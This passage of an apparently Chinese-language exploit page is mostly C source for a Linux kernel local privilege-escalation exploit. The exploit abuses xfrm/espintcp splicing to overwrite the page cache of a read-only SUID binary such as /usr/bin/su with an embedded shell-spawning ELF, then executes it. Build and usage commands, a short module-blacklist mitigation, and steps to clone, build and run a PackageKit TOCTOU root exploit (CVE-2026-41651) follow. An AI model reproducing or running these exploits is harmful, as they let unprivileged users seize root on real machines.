    close(fd);
    _exit(ret == FRAG_LEN ? 0 : 3);
}

static int run_trigger_pair(void)
{
    int pipefd[2], st_rx, st_tx;
    pid_t rx, tx;

    if (pipe(pipefd) < 0)
        die("pipe");

    rx = fork();
    if (rx < 0)
        die("fork receiver");
    if (rx == 0) {
        close(pipefd[0]);
        receiver(pipefd[1]);
    }

    tx = fork();
    if (tx < 0)
        die("fork sender");
    if (tx == 0) {
        close(pipefd[1]);
        sender(pipefd[0]);
    }

    close(pipefd[0]);
    close(pipefd[1]);
    if (waitpid(tx, &st_tx, 0) < 0)
        die("wait sender");
    if (waitpid(rx, &st_rx, 0) < 0)
        die("wait receiver");

    printf("sender_status=%d receiver_status=%d\n", st_tx, st_rx);
    if (!WIFEXITED(st_tx) || WEXITSTATUS(st_tx) != 0 ||
        !WIFEXITED(st_rx) || WEXITSTATUS(st_rx) != 0)
        return -1;
    return 0;
}

static uint64_t checked_byte_range_last(uint64_t byte_off, size_t byte_len)
{
    uint64_t n = (uint64_t)byte_len;

    if (n == 0) {
        fprintf(stderr, "byte range is empty\n");
        exit(2);
    }
    if (n - 1 > UINT64_MAX - byte_off) {
        fprintf(stderr, "byte range overflows uint64_t\n");
        exit(2);
    }
    return byte_off + n - 1;
}

static void draw_smash_frame(const unsigned char *desired, size_t desired_len,
                 const unsigned char *live, size_t idx_current,
                 size_t changed, size_t skipped, int first_draw)
{
    size_t done   = changed + skipped;
    size_t filled = desired_len ? done * FRAME_BAR_W / desired_len : FRAME_BAR_W;
    size_t row, col, bi, i;

    static char frame_buf[8192];
    setvbuf(stdout, frame_buf, _IOFBF, sizeof(frame_buf));
    if (!first_draw)
        printf("\033[s\033[?25l\033[1;1H");

    printf("\r\033[2K" C_BCYN "[*]" C_RESET
           " smashing %zu bytes into read-only page cache"
           "  changed=" C_BGRN "%zu" C_RESET
           "  skipped=" C_DIM "%zu" C_RESET
           "  remaining=" C_BYLW "%zu" C_RESET "\n",
           desired_len, changed, skipped,
           done < desired_len ? desired_len - done : (size_t)0);

    for (row = 0; row < FRAME_PAYLOAD_ROWS; row++) {
        int col0_hi = (idx_current < desired_len &&
                   row * 16 == idx_current);
        printf("\r\033[2K" C_DIM "  %04zx%s" C_RESET,
               row * 16, col0_hi ? " " : "  ");

        for (col = 0; col < 16; col++) {
            bi = row * 16 + col;
            int cur = (idx_current < desired_len && bi == idx_current);

            if (col == 8) {
                printf(cur ? "[" : " ");
                if (cur) {
                    printf(C_BYLW "%02x]" C_RESET, live[bi]);
                    continue;
                }
            }

            if (bi >= desired_len) { printf("   "); continue; }

            if (bi < idx_current) {
                printf(live[bi] == desired[bi]
                       ? C_BGRN "%02x " C_RESET
                       : C_BRED "%02x " C_RESET, live[bi]);
            } else if (cur) {
                printf(col == 0
                       ? C_BYLW "[%02x]" C_RESET
                       : "\b" C_BYLW "[%02x]" C_RESET, live[bi]);
            } else {
                printf(C_DIM "%02x " C_RESET, desired[bi]);
            }
        }
        printf("\n");
    }

    printf("\r\033[2K  [" C_BGRN);
    for (i = 0; i < filled; i++)          printf("=");
    printf(C_RESET C_DIM);
    for (i = filled; i < FRAME_BAR_W; i++) printf("-");
    printf(C_RESET "] " C_BWHT "%zu" C_RESET "/" C_DIM "%zu" C_RESET " (%zu%%)\n",
           done, desired_len,
           desired_len ? done * 100 / desired_len : (size_t)100);

    printf("\r\033[2K" C_DIM
           "────────────────────────────────────────────────────────────"
           C_RESET "\n");

    fflush(stdout);
    setvbuf(stdout, NULL, _IONBF, 0);
    if (!first_draw)
        printf("\033[?25h\033[u");
}

static int replace_existing_bytes_after(uint64_t byte_off,
                    const unsigned char *desired,
                    size_t desired_len,
                    uint64_t file_size)
{
    uint64_t last = checked_byte_range_last(byte_off, desired_len);
    size_t idx, changed = 0, skipped = 0;
    unsigned char live_state[PAYLOAD_LEN];   // 保持与 original 一致,调用方保证 desired_len <= PAYLOAD_LEN
    int fd_init;

    if (last >= file_size) {
        fprintf(stderr, "byte range outside target: offset=%llu len=%zu size=%llu\n",
            (unsigned long long)byte_off, desired_len,
            (unsigned long long)file_size);
        return 2;
    }
    if (last > file_size - FRAG_LEN) {
        fprintf(stderr,
            "collateral-after mode requires requested range end <= size-%d: offset=%llu len=%zu size=%llu\n",
            FRAG_LEN, (unsigned long long)byte_off, desired_len,
            (unsigned long long)file_size);
        return 2;
    }

    printf(C_BCYN "\n[*]" C_RESET
           " timing: rx_pre_ulp=%uus tx_pre_splice=%uus rx_post_ulp=%uus\n",
           RECEIVER_PRE_ULP_US, SENDER_PRE_SPLICE_US, RECEIVER_POST_ULP_US);
    printf(C_BCYN "[*]" C_RESET
           " range: offset=0x%llx len=%zu last=0x%llx"
           " enc_len=%d splice_len=%d\n",
           (unsigned long long)byte_off, desired_len,
           (unsigned long long)last, ESP_GCM_ENCRYPTED_LEN, FRAG_LEN);
    printf(C_BCYN "[*]" C_RESET
           " union: transformed=0x%llx-0x%llx"
           " collateral_after=0x%llx-0x%llx\n",
           (unsigned long long)byte_off,
           (unsigned long long)(last + ESP_GCM_ENCRYPTED_LEN - 1),
           (unsigned long long)(last + 1),
           (unsigned long long)(last + ESP_GCM_ENCRYPTED_LEN - 1));
    printf(C_BCYN "[*]" C_RESET " ");
    print_hex_bytes("payload", desired, desired_len);
    printf("\n");

    build_stream0_table();
    printf("\n");

    fd_init = open(target_file, O_RDONLY | O_CLOEXEC);
    if (fd_init < 0) die("open live_state init");
    if (pread(fd_init, live_state, desired_len, (off_t)byte_off) < (ssize_t)desired_len)
        die("pread live_state init");
    close(fd_init);

    printf("\033[2J\033[H");
    draw_smash_frame(desired, desired_len, live_state, 0, 0, 0, 1);

    {
        struct winsize ws;
        int tr = 40;
        if (ioctl(STDOUT_FILENO, TIOCGWINSZ, &ws) == 0 && ws.ws_row > FRAME_LINES)
            tr = (int)ws.ws_row;
        printf("\033[%d;%dr", FRAME_LINES + 1, tr);
        printf("\033[%d;1H", tr);
        fflush(stdout);
    }

    for (idx = 0; idx < desired_len; idx++) {
        uint64_t off = byte_off + idx;
        unsigned char current, final, need_stream;

        live_state[idx] = read_byte_at(target_file, off);
        current = live_state[idx];

        draw_smash_frame(desired, desired_len, live_state, idx,
                 changed, skipped, 0);

        if (current == desired[idx]) {
            printf(C_DIM "[-] [%zu/%zu] +%04llx already=%02x skip\n" C_RESET,
                   idx + 1, desired_len, (unsigned long long)off, current);
            skipped++;
            continue;
        }

        target_splice_off = (loff_t)off;
        need_stream = current ^ desired[idx];
        choose_iv_for_stream0(need_stream);
        active_esp_seq++;

        printf(C_BCYN "[*]" C_RESET " [%zu/%zu]"
               " +%04llx  " C_RED "%02x" C_RESET " -> " C_BGRN "%02x" C_RESET
               "  xor=" C_CYAN "%02x" C_RESET
               " seq=" C_DIM "%u" C_RESET
               " nonce=" C_DIM "%u" C_RESET "\n",
               idx + 1, desired_len, (unsigned long long)off,
               current, desired[idx], need_stream,
               active_esp_seq, stream0_nonce[need_stream]);

        printf(C_RESET " firing espintcp splice...\n");

        if (run_trigger_pair() < 0) {
            fprintf(stderr, C_BRED "[-] trigger pair failed at index=%zu\n" C_RESET, idx);
            return 2;
        }

        final = read_byte_at(target_file, off);
        live_state[idx] = final;

        if (final == desired[idx]) {
            printf(C_BGRN "[+]" C_RESET " smashed"
                   C_DIM " %02x -> %02x  index=%zu offset=+%04llx\n\n" C_RESET,
                   current, final, idx, (unsigned long long)off);
            changed++;
            continue;
        }
        if (final == current) {
            printf(C_BGRN "[-]" C_RESET
                   " fixed behavior: byte unchanged at index=%zu offset=%llu\n",
                   idx, (unsigned long long)off);
            return 0;
        }
        printf(C_BRED "[-]" C_RESET
               " BUG: byte changed but desired-value check mismatched"
               " index=%zu offset=%llu desired=%02x got=%02x\n",
               idx, (unsigned long long)off, desired[idx], final);
        return 1;
    }

    draw_smash_frame(desired, desired_len, live_state, desired_len,
             changed, skipped, 0);

    printf("\033[r\033[%d;1H\n", FRAME_LINES + 1);

    printf(C_BCYN "[*]" C_RESET " verifying %zu bytes...\n", desired_len);
    for (idx = 0; idx < desired_len; idx++) {
        uint64_t off = byte_off + idx;
        unsigned char final = read_byte_at(target_file, off);

        if (final != desired[idx]) {
            printf(C_BRED "[-]" C_RESET
                   " BUG: final verify mismatch index=%zu offset=%llu desired=%02x got=%02x\n",
                   idx, (unsigned long long)off, desired[idx], final);
            return 1;
        }
    }

    printf(C_BCYN "[*]" C_RESET " bytes_flip_summary len=%zu changed=" C_BGRN "%zu" C_RESET
           " skipped=" C_DIM "%zu" C_RESET "\n",
           desired_len, changed, skipped);
    if (changed == 0) {
        fprintf(stderr, "all requested bytes already had desired values\n");
        return 2;
    }

    printf(C_BGRN "[+]" C_RESET " BUG: changed requested copied byte range to desired values\n");
    return 1;
}

// 内置微型 ELF payload(执行 /bin/sh)
static const uint8_t shell_elf[PAYLOAD_LEN] = {
    0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
    0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
    0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,
    0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,
    0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,
    0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,
    0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
};

// ==================== 修改后的 main ====================
int main(int argc, char **argv)
{
    unsigned char *desired = NULL;
    uint64_t file_size, byte_off = 0;
    size_t desired_len = PAYLOAD_LEN;   // 默认使用内置 ELF
    int ret;

    setvbuf(stdout, NULL, _IONBF, 0);

    if (argc < 2) {
        fprintf(stderr, "Usage: %s <target-suid> [offset] [payload_hex]\n", argv[0]);
        fprintf(stderr, "  target-suid   : path to an existing SUID binary (regular file, >=%d bytes)\n", FRAG_LEN);
        fprintf(stderr, "  offset        : starting offset for replacement (default 0)\n");
        fprintf(stderr, "  payload_hex   : hex bytes to write (max %d bytes). If omitted, built-in ELF is used.\n", PAYLOAD_LEN);
        fprintf(stderr, "Example: %s /usr/bin/su 0 7f454c...\n", argv[0]);
        return 2;
    }

    printf(C_BCYN "[*]" C_RESET
           " uid=" C_BWHT "%d" C_RESET
           " euid=" C_BWHT "%d" C_RESET
           " gid=" C_BWHT "%d" C_RESET
           " egid=" C_BWHT "%d" C_RESET "\n",
           getuid(), geteuid(), getgid(), getegid());
    printf(C_BCYN "[*]" C_RESET
           " mode=xfrm_espintcp_pagecache_replace collateral=after\n\n");

    // 解析 offset(可选)
    if (argc > 2) {
        byte_off = parse_u64_arg(argv[2], "offset");
    }

    // 解析 payload(可选)
    if (argc > 3) {
        desired = parse_hex_bytes_arg(argv[3], &desired_len);
        if (desired_len > PAYLOAD_LEN) {
            fprintf(stderr, "Payload length %zu exceeds maximum %d bytes. "
                "Adjust PAYLOAD_LEN and recompile if needed.\n",
                desired_len, PAYLOAD_LEN);
            free(desired);
            return 2;
        }
    } else {
        desired = (unsigned char *)shell_elf;   // 使用内置的只读数组
        desired_len = PAYLOAD_LEN;
    }

    // 设置目标文件(会检查是否为常规文件且大小 >= FRAG_LEN)
    file_size = use_existing_target(argv[1]);

    printf(C_BCYN "[*]" C_RESET " target=%s size=%llu\n",
           target_file, (unsigned long long)file_size);
    verify_write_denied("outer");

    setup_user_netns_xfrm();
    verify_write_denied("userns_root_mapped_to_outer_user");

    ret = replace_existing_bytes_after(byte_off, desired, desired_len, file_size);

    /* 重置终端滚动区域 */
    write(STDOUT_FILENO, "\033[r\033[9999;1H\033[?25h\n", 19);

    /* 执行被篡改的 SUID 文件(仍在当前 userns 中) */
    execve(argv[1], NULL, NULL);
    perror("execve");
    return ret;
}

编译:

gcc -O2 -Wall -Wextra -static exp.c -o exp

基本用法:

./exp /usr/bin/su                # 使用内置 ELF 替换 su 头部
./exp /usr/bin/sudo 0 <自定义hex> # 指定偏移和自定义 payload
./exp /usr/bin/passwd 64 deadbeef

缓解措施

rmmod esp4 esp6 rxrpc
printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf

Pack2TheRoot — CVE-2026-41651

漏洞说明

https://github.com/Vozec/CVE-2026-41651

类型:本地提权漏洞(LPE),利用 PackageKit 的 TOCTOU(Time-of-Check to Time-of-Use)缺陷。
条件:需要目标系统上安装 PackageKit,并且用户有执行权限。
攻击路径:通过操纵 PackageKit 的文件操作流程,绕过权限检查,获取 root 权限。

字段
CVE 编号 CVE-2026-41651
影响组件 PackageKit 守护进程 (packagekitd)
受影响版本 1.0.2 – 1.3.4
修复版本 1.3.5
影响 本地权限提升 → root 权限
是否需要认证 不需要
是否需要用户交互 不需要
测试平台 Ubuntu 24.04, Debian 12

检查 PackageKit 版本

pkcon --version
packagekitd --version

漏洞范围:1.0.2 <= version <= 1.3.4

检查服务是否运行

systemctl status packagekit
ps aux | grep packagekitd

需要packagekitd 正在运行

影响范围

受影响系统 / 发行版

基于 Linux 的桌面发行版,主要是使用 PackageKit 管理软件的系统:

  • Debian / Ubuntu 系列(使用 dpkg)
  • Fedora / RHEL / CentOS / AlmaLinux / RockyLinux(使用 rpm)
  • openSUSE / SUSE Linux Enterprise(也使用 PackageKit 封装 rpm)

漏洞利用

git clone https://github.com/Vozec/CVE-2026-41651.git
cd CVE-2026-41651
make
./cve-2026-41651